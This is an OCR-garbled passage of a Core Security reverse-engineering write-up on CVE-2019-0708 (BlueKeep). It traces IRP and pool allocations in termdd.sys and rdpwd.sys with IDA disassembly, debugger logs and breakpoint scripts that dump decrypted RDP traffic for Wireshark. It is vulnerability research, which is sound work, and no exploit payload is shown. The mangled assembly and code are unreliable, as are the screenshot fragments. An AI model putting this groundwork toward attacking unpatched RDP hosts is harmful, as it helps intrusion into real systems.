IcaStackOpent76  mov dword ptr [rsptd48htvar 28], rl2d
IcaStackOpent7B  mov [rsptdBhivar_28], eax
IcaStackOpen+7F  call _IcastackOgen
IcaStackOpen+84  mov edi, eax
IcaStackOpen+86  test eax, eax
IcaStackOpent+88  js loc_7FF7@4B1CES
v
Next
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_lecastackUpen+t mov |raxt+auh ], rdi

_IcaStackOpen+l3  push ri2

e e et T

_IcaStackOpent+ld  mov rbp, rdx

_IcaStackOpen+l1C MW rl2, rcx

_IcaStackOpent+lF  mov edx, 36h ; '6' ; uBytes

_IcaStackOpen+24  xor 2Cx, eCx 3 uFlags

_IcaStackOpent26  mov rbx, rg

_IcaStackOpent2d  mov esi, rad

_IcaStackOpent+2C  call cs:_ imp_LocalAlloc

_IcaStackOpent32  mov rdi, rax

IcastackOnent3s fe=1 Loy, Cax
_IcaStackOpen+38  jz loc_7FF7084B1D66
Y Y

FZE
_IcaStackOpent+3E  and dword ptr [rax], @ _IcaStackOpen+53E START OF FUNCTIO
_IcaStackOpen+4l  mov byte ptr [rax+4], @ _IcaStackOpen+53E
_IcaStackOpen+45  mov byte ptr [raxt+5], 12h _IcaStackOpen+53E loc_7FF784B1D66:
_IcaStackOpen+43  mov rax, gword ptr cs:aTermddop ; "TermddOp®| | _IcaStackOpen+53E mov ebx, BCE8G
_IcaStackOpent+58  mov réd, 36h ; '6' ~ie—— _IcaStackOpen+543  jmp loc_7FF784
_IcaStackOpent+56  mov rdx, rdi -e— _IcaStackOpen+543 ; END OF FUNCTION
_IcaStackOpen+539  mov [rdi+8], rax
_IcaStackOpen+5D mov rax, cs:gword 7FF784B55E@
_IcaStackOpen+64  mov rcx, rbp
_IcaStackOpen+67  mov [rdi+18h], rax
_IcaStackOpent+6B movzx  eax, cs:word 7FF784B55ES
_IcaStackOpent+72  mov [rdi+18h], ax
_IcaStackOpent+76  mov al, cs:byte 7FF784B55EA
_IcaStackOpent+7C  mov [rdi+18h], al
_IcaStackOpent+7F  mov eax, 18h
_IcastackOpen+34  mow [rdi+s], ax
_IcaStackOpen+88  mow rax, [rbx]
_IcaStackOpen+8B  mow [rdi+1Bh], rl2
_IcaStackOpen+8F  mow [rdi+27h], rax
_IcaStackOpent+93  mov eax, [rbx+d]
_IcaStackOpent+96  mow [rdi+22h], esi
_IcaStackOpent+93  mow [rdi+2Fh], eax
_IcaStackOpen+3C  call _IcaOpen
_IcaStackOpent+Al  mow rcx, rdi 3 hMem
_IcaStackOpent+Ad  mow ebx, eax
_IcaStackOpentAs  call cs:__imp LocalFree

Yy

il e =1

|

We arrived to _IcaOpen, calling ntCreafile for the second time, but now Buffer is a chunk in user allocated with

a size different than zero, its size is 0x36.
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_Icalpen

_Icalpen

_Icalpen

_Icalpen _Icalpen proc near

_Icalpen

_Icalpen var_98= gword ptr -98h

_Icalpen var_9@= dword ptr -98h

_Icalpen var_B8= dword ptr -B8h

_Icalpen var_B@= dword ptr -B8h

_Icabpen var_78= dword ptr -78h

_Icalpen var_7é= gword ptr -7@h

_Icabpen var_63= dword ptr -68h

_Icalpen DestinationString= _UNICODE_STRING ptr -5Bh
_Icabpen var_4d= byte ptr -48h

_Icalpen var_38= dword ptr -38h

_Icalpen wvar_3@= gword ptr -3@8h

_Icalpen var_28= gword ptr -28h

_Icabpen var_2X@= dword ptr -28h

_Icalpen var_l8= gword ptr -18h

_Icalpen var_lé= gword ptr -18h

_Icalpen var_B= byte ptr -8

_Icabpen arg_@= gword ptr B8

_Icalpen arg_B= gword ptr 18h

_Icalpen

_Icalpen mov [rsp+arg_8], rbx

_Icalpents mov [rsptarg_ 8], rsi

_IcaDpen+A push rdi

_Icalpen+B sub rsp, BE@h

_IcaOpen+l2 mov rdi, rdx

_IcaOpent+ls  mov rsi, rcx

_IcaOpen+lB  lea rdx, SourceString ; Deviced\Termdd"”
_IcaOpent+lF  lea rcx, [rspréBsh+Destinationstring] ; DestinationString
_IcaOpen+24  mov ebx, ri&d

_Icabpent+2? call cs:__imp RtlInitUnicodeString
_Icalpent+2D  xor BCK, ECX

_IcaOpent+2F  mov [rspt+@88htvar_68], ebx
_Icalpen+3d3  mov [Fep+BBEh+var_ 78], rdi
_IcaOpent+3B  mov [rspt+@88htvar_78], ecx
_Icalpen+3C lea rax, [rFspteBah+Destinationstring]
_Icalpent+4l  mov [rspt+@88htvar_28], rax
_Icalpen+49  lea eax, [rex+3]

_IcaOpen+4C  mov [rsp+BE8h+var_38], rcx
_Icalpent54 mov [rsp+BEEh+var B8], eax
_IcaOpen+SB  mov [rsp+BE8h+var_8B8], eax
_IcabpentSC mov [rsp+BBEh+var_99], ecx
_Icalpen+s@  mov [rsp+B88h+var 98], rcx
_Icalpent65  mov [rsp+BE&h+var_18], rex
_IcaOpen+sD  mov [rsp+B88h+var_18], rcx
_Icalpent?s  lea r3, [rsp+@BBh+var_48]
_IcaOpen+7A  lea r8, [rsp+@BBh+var_38]
_Icalpent+82 mov rex, rsi

_IcaOpen+85 mov edx, BCE120028hH

_IcaDpent+83a mov [rsp+BBBh+var_38], 38h ; ‘@'
_Icalpen+d5  mov [rsp+B88h+var_28], 48h ; '@°
_IcaDpentid  call cs:__imp MtCreateFile
_IcaOpen+d6  lea rll, [rsp+@88h+var B8] ‘.-'""‘--.
_IcaDpentAE  mov rbx, [rli+igh]

_IcaOpen+B2  mov rsi, [rl1+18h]

_Icalpent+BE  mov rsp, rll

_IcaOpen+B9 pop rdi

_Icalpent+BA  retn

_IcaOpen+BA _IcaOpen endp

_Icalpen+BA

) | Core Security

This second call reaches IcaDispath and IcaCreate in similar way to the first call.

But now SystemBuffer is different than zero, | suppose that SystemBuffer is created, if the buffer size is

different to zero.(in the first call buffer=0 = SystemBuffer=0 now buffer!=0 = SystemBuffer is !=0).

SystemBuffer is stored in _IRP.AssociatedIrp.SystemBuffer here
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bl e =

IopParseDevice+3D9

IopParseDevice+3D9 loc_148378969:
IopParseDevice+3D9 mov rax, [rsit+38h]
TopParseDevice+3DD mov [r12+58h], rax
IopParseDevice+3E2 mov rax, [rsit+48h] /
IopParseDevice+3E6 mov [r12+ IRP.AsscciatedIrp.SystemBuffer], rax
IopParseDevice+3EB mov ecx, [rsit+4eh]
IopParseDevice+3EE and ecx, BFFFFFFh
IopParseDevice+3F4 mov eax, [rsi+58h]
IopParseDevice+3F7 shl eax, 18h
IopParseDevice+3FA or eCx, eax
TopParseDevice+3FC mov [r14-38h], ecx
IopParseDevice+48@ movzx  eax, word ptr [rsi+d4h]
TopParseDevice+d@84 mov [r14-38h], ax
IopParseDevice+489 movzx  eax, word ptr [rsitdch]
IopParseDevicet+d8D mov [r14-2Eh], ax
IopParseDevice+412 lea rax, [rsp+l88h+var_5@]
IopParseDevice+41A mov [r1l4-48h], rax
IopParseDevice+41E mov rax, [rsi+eash]
IopParseDevice+425 mov [r12+78h], rax
IopParseDevice+42A lea rax, [rsp+l88h+var_C@]

in the decompiled code

if ( (a5 & ex4e) )

w54[-1].Flags = w55 | @x80;
h
*( QWORD *){v52 + 88) = *( QWORD *)(vi4 + 56);
*[_QWoRD *}(wS2 + offsetof( IRP, AssociatedIrp)) = *(_QWORD *){vlis + 72);
v54[-1].Parameters.Create.Options = (*( DWORD *)(vid + 88) << 24) | *({ DWORD *){vidi + &
v54[-1].Parameters.Create.FileAttributes = *({_WORD *)(vl1d4 + BB)};
v54[-1].Parameters.Create.Sharefccess = *{ _WORD *)(v1i4 + 78);
v54[-1].Parameters.WMI.ProviderId = (unsigned _ inte4)&v218;
*(_QWORD *)(v52 + 112) = *( QWORD *)(vi4 + 168);
*(_QWORD *)(v52 + 72) = &v195;

Previously IRP is moved to r12

‘ YYYVYY
ol s 5
IopParseDevice+335
IopParseDevice+335 loc_1483738C5: ; ChargeQuota
IopParseDevice+335 xor edx, edx

IopParseDevice+337 movzx  ecx, byte ptr [r8+4Ch] ; StackSize
IopParseDevice+33C call IgAllocateIrp

IopParselevice+341 I Mo rl2, raxl ‘\
IopParselevice+344 test rax, rax

IopParseDevice+347 jz loc_14@3996838
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IcaCreate

IcaCreate ; NTSTATUS _ fastcall IcaCreate( inte4 p Irp, _ inte4 IO STACK LOCATION)
IcaCreate IcaCreate proc near ; CODE XREF: IcaDispatch+2CFtp
IcaCreate 3 HandleMonitorCall+9etp
IcaCreate ;3 DATA XREF

IcaCreate

Icalreate p_Object= gword ptr -28h

IcaCreate const_cero= gword ptr -28h

IcaCreate byte= byte ptr &

IcaCreate _Object= gword ptr 18h

Icalreate rbx_stored= gword ptr 18h

IcaCreate rbp_stored= gword ptr 2@h

IcaCreate

IcaCreate mowv [rsp+rbx_stored], rbx

IcaCreatets mov [rsptrbp_stored], rbp

IcaCreatetA push rsi

IcaCreate+B push rdi

IcaCreate+C push ri2

IcaCreate+E sub rsp, 38h

IcaCreate+l2 lea rg8, [rsp+48h+byte] ; p_byte

IcaCreate+l? Ld=1" rl2, rdx 3 R12=T0 STACK LOCATION rl2
IcaCreate+lD call IcalsSystemProcessRequest

IcaCreate+22 movzx rlld, al ; R11= FsContext2_rill
IcaCreate+26 mov rax, [r12+ I0 STACK LOCATION.FileObject]

IcaCreate+2B  mov [rax+ FILE_OBJECT.FsContext2], rll

IcaCreate+2F  mov rcx, [rbp+ IRP.AssociatedIrp.SystemBuffer] ; ROX=AssociatedIrp.SystemBuffer rcx
IcaCreate+36  jnz short loc_ FFFFF38083C9F064

= B

That address is accessed many times over there, so the only way to stop when it is nonzero is to use a

conditional breakpoint.

3y Location ) X
3D mov [r12+458h], rax W Edit script X
A2 mov rax, [rsi+ish Condition
_18h ] Please enter script body
AB  mov ecx, [rsi+4eh] sss - ryr——
AB ¢ ————mmmmmmmmmmmmemm import idautils
- = [ Enabled print "SystemBuffer", hex(c
WGt (cpu.rax!=8):
BREAK( )
[ ] Module
[ ] symbalij
|:| Source
Low lew
Hardware by
‘seDevice+3Eé (Synchronized wi ' Read ;
| yochronized with RI| Line:1 Colurmn: 1
Write
Scripting language | Python = | Tab size Compile
Executs
] Concel | [ i
Group D

QK Cancel Help
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SystemBuffer @wxaL
uffer @xéL

Ffffageed158ciel /

chunk_SystemBuffer @waL

IRP exfffffaseed4lssclel

chunk_CONNECTION @xfffffaseed4sbbbaalL
emfuffer @xfffffadeeasbozboal

IRP Bxfffffaseed4lssclel ‘/

chunk_SystemBuffer exfffffaseeasba2baal

Lt

(T

The first time that RAX is different from zero it stops before the second call to CREATE, and if | continue

executing, | reach IcaCreate with that new value of SystemBuffer.

ulnerability (CVE-2019-0708) | Core Security

Structures [ Enums
Breakpoints ﬁ General registers
UEdrEmiEs RAX FFFFFABBB6OS1F20 '
IcaCreate ma [rsptrbx_stored], rbx _

IcaCreate+s mov [rsp+rbp_stored], rbp

IcaCreate+A push rsi

IcaCreate+B push rdi

IcaCreate+C push ri2

IcaCreate+E sub rsp, 3@h

IcaCreate+l2 lea rd, [rsp+iBhtbyte] ; p_byte
Icalreate+l? mov rl2, rdx ; R12=T0 STACK

IcaCreate+lD
IcaCreate+22
Icalreate+2b
IcaCreate+2B

IcaCreate+33 test

call
MOWZ X
mo

IcalssystemProcessRequest
rlid, al

rax, [r12+ I0 STACK_LOCAT L
rax+ FILE OBJECT.FsComExt2

1leObject]
» r1l

Mo

rex, rex

1= FsContext2 rll

u] S AL A AL AL

RCX FFFFFAB@B6E92B98
T P ——

R5I FFFFFAB@@4FDFATE
RDI FFFFFABR@4158C18
REP FFFFFAB@@4158C18
RSP FFFFFBE@a5C146A8
RIP FFFFFE880@3COFa35
R8 FFFFFB8ABB7DBB568
RO GesacoeaaooER828
R1e FFFFFE@@a2A18368
R11 Géaaa88000280001

FeErrrrerery

IcaCre:

nt_Kilr

@ Modules

We arrived at this code, the variable named "contador" is zero, for this reason, we landed in IcaCreateStack.

IDA View-RIP B Local Types

IcaCreate+l2A
IcaCreate+l2A

IcaCreate+12A loc_FFFFF888A3C9F132:

IcaCreate+12A lock add [rsi+chunk_CONMECTION.const], 1
IcaCreate+l2F mov ecx, dword ptr [rbx+(chunk_systemBuffer.contador-1Bh)]
IcaCreate+132 test ecx, ecx

IcaCreate+l34 jz short loc_FFFFF38@03C9F156

3 CODE XREF: IcaCreate+121tj

\

Ela

=
=]

; IO STPCK*.C‘C.Jd“ord ptr [rbx+{chunk_SystemBuffer.contador-18h)]-0000000000000000
L ¥

ecx, 1
short loc_FFFFF88@@3C9F169

FEE
IcaCreate+l36 cmp
IcaCreate+139 jnz

Y

(il sl 5

IcaCreate+13B
IcaCreate+13E
IcaCreate+141

r9, rl2
r8, rbp
rdx, rbx

3 I0_STACK_LOCATION
5 IRP
; NewIrgl

H

IcaCreate+l4E
IcaCreate+l4E
IcaCreate+14E

loc_FFFFF88@B3C9F156:

IcaCreate+l4E mov r9, rl2
IcaCreate+151 mov r3, rbp
IcaCreate+14C short loc FFFFF888@3C9F167 IcaCreate+154 mov rdx, rbx
IcaCreate+157 mov rcx, rsi

CODE XREF: IcaCreate+1341j

10_STACK_LOCATION
IRP

NewIrql
chunk_Connection

e T
NN& (2027 2£F31 (R2A 521 ONNNARART FFFFFARNNACSTIAT- DARR-termdd Tralreate+l2F [(Sunchronizaed with RTBY

In IcaCreateStack a new fragment of size 0xBA8 is allocated, | call it chunk_stack_oxBAS.

https://www.coresecurity.com/node/63548
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IcaCreateStack 3 _ intea _ fastcall IcaCreateStack(PVOID P)
IcaCreateStack IcaCreateStack proc near 3 CODE XREF: IcaCreate+15Alp
IcaCreateStack DATA XREF: .pdata:FFFFF388@@3C9E240l0
IcaCreateStack
IcaCreateStack var_48= gqword ptr -48h
IcaCreateStack value_IcaFlowControlChargeChannel= word ptr -38h
IcaCreateStack value_IcaFlowControlChargeDisplay= word ptr -3ch
IcaCreateStack cookie= gword ptr -3@h
IcaCreateStack var_28= byte ptr -28h
IcaCreateStack rbx_stored= qword ptr 18h @ Sreakpoint settings b
IcaCreateStack rbp_stored= qword ptr 18h -
IcaCreateStack Lacation (o —— |
IcaCreateStack ma [rsptrbx_stored], rbx | = .
IcaCreateStack+s mov [rsp+rbp_stored], rbp condition W Edit script x
IcaCreateStack+a push rsi -
IcaCreateStack+B push rdi Settings | Please enter script body
IcaCreateStack+C push riz ; _ ;
IcaCreateStack+E push ri3 Eo 1mpar ""d'_"”hh =
IcaCreateStack+l®  push r14 ] Hardy print]”chunk_stack @xBAZ" jhex(cpu.rax)
IcaCreateStack+12  sub rsp, 48h
IcaCreateStack+lé  mov rax, cs:_ security cockie [ Modu
IcaCreateStack+1lD  xor rax, rsp ] ] Symb
IcaCreateStack+28  mov [rsp+68h+cookie], rax
IcaCreateStack+25  mov rsi, rdx L] sourg
IcaCreateStack+28  mov rdi, rcx Low I
IcaCreateStack+2E  mov ebp, @BABh
IcaCreateStack+3®  mov réd, 'cisT’ -
IcaCreateStack+36 xor ecx, ecx ardwag
IcaCreateStack+38  mov rdx, rbp Read
IcaCreateStack+3E  mov rla, rg line:1  Columm:l
IcaCreateStack+3E  wor ri3d, ri3d Write ’ ’
TcaCreateStack+41l call [ 1rri ExAllocatePoolWithT] Exec| Scripting language |Python | Tab size - Compile
IcaCreateStack+4A  test rax, rax a Cancel Help
IcaCreateStack+4d  jz loc_FFFFF88083C97288 raup
] I oK Cancel Help
| comment the conditional breakpoint part, to avoid stopping and only keep logging.
Ll i =] | [l i 5
nt_CmRealkCBToVirtualPath+130 ; - B e alPath+15
nt_CmRealKCBToVirtualPath+130 mov [r12+58h], rax g creakpoint settings # Blpath+1s
nt CmRealKCBToVirtualPath+142 mowv rax, [rsi+48h alPath+1%
Location . Rk alPath+15
nt_CmRealKCBToVirtualPath+14B mov ecx, [rsit+4eh] MW Edit script XL alPath+1s
nt_CmRealKCBToVirtualPath+14B ; -------------mmmmmm e Congditig . alPath+1%
= . N —_—
satid Please enter script body
import idautils
Er | S "CwctemRifFar!
(LW (Fif (cpu.rax!
#BREAK()
TFFFF30002B355376: nt:nt_lopParseDevice+3E€ (Synchronized with RI| I:‘ M
el E
Os [
Ld
Hardw
| repeat the process to get a new fresh log.
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SystemBuffer Bu@L

SystemBuffer Bu@L

SystemBuffer BuaL

SystemBuffer @xBL

SystemBuffer @xBL

SystemBuffer @xBL

SystemBuffer @xBL

REATE

IRP @xfffffaseed4lsaclel

chunk SystemBuffer @xéL

IRP exfffffaBeed4ls5clibl
chunk_CONMNECTION @xfffffaseecalceedl
SystemBuffer @xfffffasees?fcapel
CREATE

IRP Bxfffffaseed4lssclel
chunk_SystemBuffer exfffffasdeesyfcadel
IRP exfffffadeed4ls5ciel

FILE OBJECT exfffffaseea7efas2eL
chunk CONMECTION exfffffadeesalctedl
chunk_stack @xBAB exfffffadeed7lidsel

Summarizing by just executing this two lines of code to create a connection, and even without sending data,

we have access to the driver

The most relevent part of the log when connecting is this.

MAJOR_FUNCTION @xel

CREATE

chunk CONMECTION @xfffffaseas3sbdeal
MAJOR_FUNCTION @il

CREATE

chunk_stack 8xBAS axfffffasdeedecedsal

IcaCreate was called two times, with MajorFunction = 0x0.

The first call allocates CHUNK_CONNECTION, the second call allocates chunk_stack_oxBAS8.

We will begin to reverse the data that it receives, for it would be convenient to be able to use Wireshark to
analyze the data, although as the connection is encrypted with SSL, in Wireshark we could only see that the

encrypted data which does not help us much.

if self. isRemoteTargetXF():
self. negotitateRequest (use55L=False)

else:

aelf. negotitateRequest (use35L=True)

self. :initiatESSLCDnnectiDn{:l

The data travels encrypted and thus the Wireshark receives it, but we will try to use it all the same.

For this purpose we need to detect the point where the program begins to parse data already decrypted.
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DA View-RIP B & Breakponts E &

- B T

Names window [ B General registers

¥ RDI FFFFF

RBP GRBGREOAEAAAL1ED

InputWorkers258 cmp dword p{ RSP FFFFFBBA06676040

ere25E gnz short 14 |RIP FFFFFS8005SEDERY

! R 100

¥ Ro BEEGEDOBEOOD1OR

thorker+261 cmp [rditiach], al
tWorker+267 jnz short loc_FFFFF880055EDEL17

1

MCSIcaRawInputidorker+26F cmp al, 3
MCSIcaRawlnputiorker+271 jnz loc_FFFFF880@55EE@6ED)

I

Address
[5] termdd:FFFFF...

100.00% (2362,4338) (981,349) 00026205 FFFFFEB00SSEDE0S: _text:rdpwd MCSIcaRawl ( ed

[5] termdd:FFFFF..
['5] termdd:FFFFF.
[5] termdd:FFFFF.
[5] termdd:FFFFF.
[5] termdd:FFEFF.
5] termdd:FFFFF...
5] textFEFEFES0...
<

with RIP) Line 61 of 185

(B Hes: view-1

33EDEE ©0 00 @0 00 02 00 ©0 80 E@ ED 33 @5 88 FA FF FF ........ ai3.€ajy
ASIIEHCE 0O
EODA

1 46 45 CAFECAFECAFECAFE
1 46 45 CAFECAFECAFECAFE
41 46 45 CAFECAFECAFECAFE
3 41 46 45 CAFECAFECAFECAFE
3 41 46 45 CAFECAFECAFECAFE
CAFECAFECAFECAFE

15 HelpSystems. All rights reserved.

858F@33C10EBR0R0
3 BF18673300000309
38 @FAR6F3B40778944
3 1847FE0000820682
FFi 8124448441317440
FFFFFE50@S5EDES® EBDEBEOFOS578C084

y helﬁjsystems

R1@ FFFFFABQ@5BREASe

FEFFEAB@BS33EBAS
[RIZ FFFFFAS@@533EDE@ I

R13 B8080680E8060005

The driver rdpwd.sys is in charge of starting to parse the data already decrypted.

The important point for us is in the function MCSlcaRawInputWorker, where the program started to parse the

decrypted code.

YYVY

i

MCSIcaRawInputWorker+277
MCSIcaRawInputlorker+277 loc FFFFFES8855E

MCsIcaRawInputlWorker+27D jnz

short loc FFFFF3E8@55EDE2C

STEP 2) Put some conditional breakpoints in IDA PRO to
dump to a file the data decrypted

The idea is place a conditional breakpoint in that point, so that each time the execution passes there, it will

save the data it has already decrypted in a file, then use that file and load it in Wireshark.

https://www.coresecurity.com/node/63548
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Path
£ \SystemRoot\Sy -
' Copy Ctrl+C
Copy all Ctrl+Shift+Ins
U Quick filter Chrl+F
i Modify filters... Ctrl+ Shift+F
Reset filters
< Load debug symbols
| rdpwd Jump to module base
Line 1 of 1 Analyze module »~

Break on access

This will analyze the module rdpwd.sys and | can find its functions in IDA, debugging from my database of

termdd.sys, when it stops at any breakpoint of this driver.

R FFFFFASBB4FGSETE

RIP FFFFFE80@3FID474 % IcaDispatch

@ Modules @ Module: RDPWD,5YS @ E Functions window

Mame

‘]El rdpwd_HandleX224ConnectReq
]zl HandleX224ConnectReq

]zl rdpwd_MCSlcaRawlnputWorker

L]
| -
MCSlcaRawlnputWorker |

'ﬁ rdpwd_RecognizeM_sFrame
]zl rdpwd_RecognizeMC5Frame
]zl RecognizeMC5Frame

1F] rd pwd WDActivateSecuritwFilter

\

Address

rdpwd_HandlexX224C,
rdpwd_HandleX224C,
rdpwd_MCSlcaRawln
rdpwd_MCSlcaRawin
rdpwid_MCSlcaRawln
rdpwd_RecognizeMC
rdpwd_RecognizeMC
rdpwd_RecognizeMC
rdowd WDActivatede

® ||

lima TNNE ~F 1R22

rdpwd_MCSIcaRawInputhorker+277
rdpwd_MCSIcaRawInputWorker+277
rdpwd_MCSIcaRawInputWorker+277
rdpwd_MCSIcaRawInputWorker+277
rdpwd_MCSIcaRawInputhorker+27B
rdpwd_MCSIcaRawInputkorker+270D

Yy
loc_FFFFFB8@@51EBEL7: ; CODE XREF: rdpwd MCSIcaRawInputhWorker+25F1j
/ ; rdpwd_MCSIcaRawInputWorker+2671]
mowv al, [ri12]
and al, 3
jnz short loc_FFFFF83@@51EBE2C

| already found the important point: if the module rdpwd.sys changes its location by ASLR, | will have to repeat

these steps to relocate the breakpoint correctly.

address = OxXFFFFF880034675E8

filename=r"C:\Users\ricardo\Desktop\pepe.txt"

https://www.coresecurity.com/node/63548
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out=openlfilename, "wb"

dbgr =True

data = GetManyBytes(address, size, use_dbg=dbgr)
out.write(data)

out.close()

This script saves in a file the bytes pointed by variable "address", the amount saved will be given by the
variable "size", and saves it in a file on my desktop, | will adapt it to read the address and size from the registers

at the point of breakpoint.

address=cpu.ri2

size=cpu.rbp
filename=r"C:\Users\ricardo\Desktop\pepe.txt"
out=open(filename, "ab")

dbgr =True

data = GetManyBytes(address, size, use_dbg=dbgr)

out.write(data)

B

WINDBG>db rl2

fffffage 87356438 63 00 92 13 Gc o0 0P GO-00 B2 @2 8L 80 B3 B0 Bl .....vvevuansaas
fffffage @7356448 00 00 00 G0 00 00 00 0O-00 00 B2 B0 828 82 88 BE  ......ccsuvsassas
fffffage @7350450 o0 OO0 00 OO 09 OO G0 OO-00 0D 0D OO G0 B8O BB BB . .......cccveua.
fffffaBe 87350460 00 OO G0 OO 09 GO B0 DOD-B0 DD 0P OO B9 BO BB BB . ........cccvueua.
fffffaBe 87350470 00 OO G0 02 00 GO B0 DD-00 DD 0P GO B9 BO BB BB . ........cccvuua.
fffffage 87350430 00 OO 00 OO 0P GO B DD-00 DD 0D GO B0 BO BB BB . ........cccvuua.
fffffage 87350490 00 0O B0 OB 00 GO 0P DD-00 DB 6D DO B0 BB 8B BB . .........ccc0u..
fffffaBe 87350420 OO 0B B0 0O 0P OO 0P DD-09 DB 6D B 6D BO BB BB . .......cccveua.
[
This will dump the bytes perfectly to the file.
LIE = I
Hol
E_ff] Archive Edicién Buscar Ver Analisis Extras Ventanas
Bl | o B 16 || ANsI || hex v
T pepe.td

Cffsec(h) 00 01 02 03 04 05 06 07 08 0% 04 OB OC OD OQOE OF

Q0000000 O3 00 00 13 OE EO 0O OO OO0 OO 00 O1 OO0 08 00 01 ..... -
Q0000010 00 Q0 00

I will use this script in the conditional breakpoint.

https://www.coresecurity.com/node/63548 23/61



InputWorker+277
InputWorker+277
InputWorker+277
InputWorker+277
InputWorker+278
InputWorker+27D

loc_FFFFF888051EBE1Y:

mov al, [ri2] |
and al, 3

jnz short loc_FFFFFB8@@51EBE2(

RSP FFFFFEB@@49AD

@ Breakpoint settings X RIP FFFFF88@@51ER
Location | oxFFFFFas0051EBEL7 v <
Condition |address, size, use_dbg=dbgr) out.write(data) V| Modules [
Settings Q Edit script X Name
Enabled ]E rdpwd_HandleX:
Flease enter script body E HandleX224Con
[ Hardware
) laddress=cpu.r12 ]I| rdpwd_MCSlcaR
[] Module relative size=cpu.rbp ] rdpwd_MCSlcaR
: filename=r"C:\Users\ricardo\Desktop\pepe.txt"
Symbolic
L] ym out=open(filename, "ab") s MCSIcaRawlnp.u
[ source code dbgr =True awlnp| ]I| rdpwd_Recogniz

.7: RDPWD:loc FFFFFS80051EBEL17 (Synchronized with B

[ Y Y 2

& com co GO
[T
woin

This script made a raw dump, but wireshark only imports in this format.

8@ @8 48 85 F6
8B 85 @@ @1 e@ @0 48
86 C4 49 8B
D2 48 8B CE
4C BB BE 1@ 44 BB 66
@8 45 33 FF 83

74 @8

D5 48
FF 15

BF 8@

k| e
-~ |dump - Notepad
View Help

File Edit

0000
0010
0020
0030
0040

Format

40 55
00 3c
de de
00 00
65 03

address=cpu.ri2

size=cpu.rbp

39 99 ey
13 4a 00
ce
00 00 00
63 6f 6d

UL - HeBEL L

n.Dif.He . . .H

At-L.L$XE ¢AT «OH¢

Ejf.H.it.30H«Ij. .
5. H{EEXL<n.DeF.
E.d.,%...E3jf:€.

8
00
73 00

e fo f1

D 11
35 00 28
00 03 77
00 00 01

Low level condition

Hardware breakpoint mode

Read
Write:

Execute

Group Default ~

00 01

filename=r"C:\Users\ricardo\Desktop\pepe.txt"

out=openlfilename, "ab")

dbgr =True

data = GetManyBytes(address, size, use_dbg=dbgr)

str

foriin data:

str+= "%02x "%ord(i)

out.write(str)

Size

OK

out.write(data)

data = GetManyBytes(address, size, use_dbg=dbgr)

Line:1  Column:1

Scripting language | Python ™ | Tab size

Cancel Help

Compile

awlnp
awlnp
awlnp

]I| rdpwd_Recogniz
]Z| RecognizeMCSF

®
Line 1008 of 1683

F

al 13 97 76 08 00 45 00
64 25 0a Oa Oa 16 dO 43
f8 8f e6 7b 01 00 00 01
77 77 06 67 6T 6T 67 6¢C

Huuuuu

B448548FB2AB
4CB874F68548
481866564418
854500000108
58244C804C2D
8648D58649C4

in Windows 7 32 bits version this is the important point where the decrypted code is parsed, and we can use

this script to dump to a file.
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(7S
(7S
EDI B583F544 W
EBP 925AD114 %
(7S
L™

ESP 925ADBFE

rdpwd_MCSIcaRawlnputWorker+2EA EIP 94932843

rdpwd MCSIcaRawInputWorker+2EA loc 94932B841:

O ey - S
edi rdpwd_MCSIcaRawInputkorker+2E8 add ebx, ecx EDX 82008898
34932641 ‘ ESI 9F97@3Fe

rdpwd_MCSIcaRawl

£Ci anonnaac
“E'i.‘ point settings X B
| Location ) _' : —
“ Edit script
Conditig

Settinl Please enter script body

& address=cpu.eax

OH

Om

Os

Os
(Synchronized with EIP) - @)for i in dalta

str+=

Hardw
} 16 85 ....E=",S.fit.08...
! 88 8@ ¥y Line:1  Column:1
+ 893 82 W
) 88 88 Scripting language Python ¥ | Tab size Compile
| 8@ 88 =
) 00 00 Cancel Help
b 85 84 o o aa Group
VFE 84 .@..35,%D,,..b, 7 [

Windows 7 32 script

address=cpu.eax

size=cpu.ebx
filename=r"C:\Users\ricardo\Desktop\pepefff.txt"
out=openlfilename, "ab")

dbgr =True

data = GetManyBytes(address, size, use_dbg=dbgr)
str=""
foriin data:

str+= "%02x "%ord(i)

out.write(str)

Windows XP 32 bits script

address=cpu.eax

size=cpu.edi
filename=r"C:\Users\ricardo\Desktop\pepefff.txt"
out=openlfilename, "ab")

dbgr =True
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str

foriin data:

str+="%02x "%ord(i)

out.write(str)

This is the similar point in Windows XP.

AR

Ll (e =)

rdpwd_MCSIcaRawInput+264
rdpwd_MCSIcaRawInput+264

loc_BGE@7S6A:

rdpwd_MCSIcaRawInput+264 cmp edi, edx
rdpwd_MCSIcaRawInput+266 Jja loc_B6E@76D5
E ﬁ Location ] ] .
rdpwd_MCSIcaRawInput+264 | O Edit script
rdpwd_MCSIcaRawInput+264 loc B6E@756A: Concy _
. | Please enter script body
Settin|
rdpwd_MCSIcaRawInput+266 ja gl |@ddress=cpu.eax
size=cpu.edi
[JHi | filename=r"C:\Users\ricardo\Desktop\pepefff.txt"”
0 out=open(filename, “ab™)
- dbgr =True
[Isy |data = GetManyBytes(address, size, use_dbg=dbgr)
N
[ e for i in data:
ld str4= "¥@2x "¥ord(i)
out.write(str)
. ) Hardw
€L: BDPWD:loc BEEO7SER (Synchronized with EIP)
R
1 Line:2  Column:13
W
@ 88 50 71 AB 80 00 B0 B0 88 ........ Pouk. . Scripting language | Python ™ | Tab size Compile
4 59 B0 00 00 00 B2 BO 08 68 TeESx.HER........
400 00 G0 G2 B0 C4 14 A3 B9  ....v....... A0k Cancel Help
e 88 C4 84 00 88 41 9C @0 88 HE. . .LAL L L AE. . Group
@ 2E 29 EP B0 90 90 00 88 43 X.mk....)a..... C e
@ 6D 73 74 73 68 61 73 68 3D oockie:-mstshash= oK Cancel Help
5 6B ©D A @1 28 83 88 88 88 henwvniuk........

STEP 3) Importing to Wireshark

This script will save the bytes in the format that wireshark will understand.

When I I'lmport from hex dump”, | will use the port "3389/tcp" : "msrdp”
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Bytes) ‘ Wireshark « Irmport From Hex Dump 7 e
ytes) Import From
ytes) File: | | Browse...
ytes) Offsets: () Hexadecimal *
- ) Decmal
- O Octal
B (®) None {only one packet wil be created)
—  Timestamp format: | | iNo format wil be aopled)

Direction indication: [

Encapsulation

i) Ethernet

i) IPva

() UDP

® TCP

() sCTP

() sCTP (Data)
ExportPDU

Encapsulation Type: |Ethernet
() Mo dummy header

Ethertype (hex):

Protocol (dec):

Source port: |EUUU

Destination port: |3389

Tag:
FPI=

Payload

N

Maximum frame length:

Import Cancel Help

Kernel 'com:pipe resets=0, reconnect, port="\\pipe\,

We load our dump file and put the destination port as 3389, the source port is not important.

| add a rule to decode port 3389 as TPKT

https://www.coresecurity.com/node/63548
